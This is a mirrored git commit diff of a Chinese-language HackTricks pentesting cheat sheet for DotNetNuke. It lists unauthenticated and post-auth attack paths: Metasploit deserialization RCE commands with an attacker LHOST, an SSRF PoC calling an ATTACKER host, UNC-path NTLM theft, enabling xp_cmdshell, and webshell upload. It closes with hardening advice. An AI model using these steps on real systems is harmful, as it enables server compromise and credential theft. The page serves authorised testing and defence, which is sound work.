mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d
This commit is contained in:
parent
73515f7ae2
commit
a67634ead0
@ -4,37 +4,94 @@
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
如果您以 **administrator** 身份登录 DNN,获取 RCE 非常简单。
|
||||
如果您以 **administrator** 身份登录 DNN,获取 **RCE** 很容易,但在过去几年中发布了一些 *unauthenticated* 和 *post-auth* 技术。以下备忘单收集了用于攻防工作的最有用原语。
|
||||
|
||||
## RCE
|
||||
---
|
||||
## 版本和环境枚举
|
||||
|
||||
### 通过 SQL
|
||||
* 检查 *X-DNN* HTTP 响应头 - 通常会披露确切的平台版本。
|
||||
* 安装向导在 `/Install/Install.aspx?mode=install` 中泄露版本(在非常旧的安装中可访问)。
|
||||
* `/API/PersonaBar/GetStatus` (9.x) 返回一个 JSON blob,包含低权限用户的 `"dnnVersion"`。
|
||||
* 您将在实时实例中看到的典型 cookie:
|
||||
* `.DOTNETNUKE` – ASP.NET 表单身份验证票证。
|
||||
* `DNNPersonalization` – 包含 XML/序列化的用户配置文件数据(旧版本 - 见下文 RCE)。
|
||||
|
||||
在 **`Settings`** 页面下可以访问 SQL 控制台,您可以启用 **`xp_cmdshell`** 并 **运行操作系统命令**。
|
||||
---
|
||||
## 未经身份验证的利用
|
||||
|
||||
使用以下行来启用 **`xp_cmdshell`**:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', '1'
|
||||
RECONFIGURE
|
||||
EXEC sp_configure 'xp_cmdshell', '1'
|
||||
RECONFIGURE
|
||||
### 1. Cookie 反序列化 RCE (CVE-2017-9822 & 后续)
|
||||
*受影响版本 ≤ 9.3.0-RC*
|
||||
|
||||
`DNNPersonalization` 在启用内置 404 处理程序时在每个请求中被反序列化。因此,精心制作的 XML 可能导致任意小工具链和代码执行。
|
||||
```
|
||||
然后,按 **"Run Script"** 运行该 SQL 语句。
|
||||
|
||||
接着,使用以下内容运行操作系统命令:
|
||||
```sql
|
||||
xp_cmdshell 'whoami'
|
||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf> set RHOSTS <target>
|
||||
msf> set LHOST <attacker_ip>
|
||||
msf> run
|
||||
```
|
||||
### 通过 ASP webshell
|
||||
该模块自动选择适用于已修补但仍然易受攻击的版本的正确路径(CVE-2018-15811/15812/18325/18326)。在7.x–9.1.x上,利用攻击**无需身份验证**,在9.2.x+上则需要一个*经过验证*的低权限账户。
|
||||
|
||||
在 `Settings -> Security -> More -> More Security Settings` 中,您可以在 `Allowable File Extensions` 下 **添加新的允许扩展名**,然后点击 `Save` 按钮。
|
||||
### 2. 服务器端请求伪造 (CVE-2025-32372)
|
||||
*受影响版本 < 9.13.8 – 补丁于2025年4月发布*
|
||||
|
||||
添加 **`asp`** 或 **`aspx`**,然后在 **`/admin/file-management`** 上传一个名为 `shell.asp` 的 **asp webshell**。
|
||||
旧版`DnnImageHandler`修复的绕过使攻击者能够强迫服务器发出**任意GET请求**(半盲SSRF)。实际影响:
|
||||
|
||||
然后访问 **`/Portals/0/shell.asp`** 以访问您的 webshell。
|
||||
* 内部端口扫描/云部署中的元数据服务发现。
|
||||
* 访问其他被防火墙保护的主机。
|
||||
|
||||
### 权限提升
|
||||
概念验证(替换`TARGET`和`ATTACKER`):
|
||||
```
|
||||
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
```
|
||||
请求在后台触发;监控您的监听器以获取回调。
|
||||
|
||||
您可以使用 **Potatoes** 或 **PrintSpoofer** 例如 **提升权限**。
|
||||
### 3. NTLM 哈希暴露通过 UNC 重定向 (CVE-2025-52488)
|
||||
*受影响版本 6.0.0 – 9.x (< 10.0.1)*
|
||||
|
||||
特别构造的内容可以使 DNN 尝试使用 **UNC 路径** 获取资源,例如 `\\attacker\share\img.png`。 Windows 将乐于进行 NTLM 协商,将服务器账户哈希泄露给攻击者。 升级到 **10.0.1** 或在防火墙上禁用出站 SMB。
|
||||
|
||||
### 4. IP 过滤器绕过 (CVE-2025-52487)
|
||||
如果管理员依赖 *Host/IP 过滤器* 保护管理门户,请注意 **10.0.1** 之前的版本可以通过在反向代理场景中操纵 `X-Forwarded-For` 来绕过。
|
||||
|
||||
---
|
||||
## 认证后到 RCE
|
||||
|
||||
### 通过 SQL 控制台
|
||||
在 **`Settings → SQL`** 下,内置查询窗口允许对站点数据库执行操作。 在 Microsoft SQL Server 上,您可以启用 **`xp_cmdshell`** 并生成命令:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE;
|
||||
EXEC sp_configure 'xp_cmdshell', 1;
|
||||
RECONFIGURE;
|
||||
GO
|
||||
xp_cmdshell 'whoami';
|
||||
```
|
||||
### 通过ASPX Webshell上传
|
||||
1. 转到 **`Settings → Security → More → More Security Settings`**。
|
||||
2. 将 `aspx`(或 `asp`)附加到 **Allowable File Extensions** 并 **保存**。
|
||||
3. 浏览到 **`/admin/file-management`** 并上传 `shell.aspx`。
|
||||
4. 在 **`/Portals/0/shell.aspx`** 触发它。
|
||||
|
||||
---
|
||||
## Windows上的权限提升
|
||||
一旦以 **IIS AppPool\<Site>** 实现代码执行,常见的Windows权限提升技术适用。如果该系统存在漏洞,您可以利用:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool** 来滥用 *SeImpersonatePrivilege*。
|
||||
* **Juicy/Sharp Potatoes** 来逃避 *Service Accounts*。
|
||||
|
||||
---
|
||||
## 加固建议(蓝队)
|
||||
|
||||
* **升级** 至至少 **9.13.9**(修复SSRF绕过)或更好地 **10.0.1**(IP过滤和NTLM问题)。
|
||||
* 安装后删除残留的 **`InstallWizard.aspx*`** 文件。
|
||||
* 禁用出站SMB(端口445/139)流量。
|
||||
* 在边缘代理上强制实施强大的 *Host Filters*,而不是在DNN内部。
|
||||
* 如果未使用,阻止对 `/API/RemoteContentProxy` 的访问。
|
||||
|
||||
|
||||
|
||||
## 参考文献
|
||||
|
||||
* Metasploit `dnn_cookie_deserialization_rce` 模块文档 – 实用的未认证RCE细节(GitHub)。
|
||||
* GitHub安全公告 GHSA-3f7v-qx94-666m – 2025 SSRF绕过和补丁信息。
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user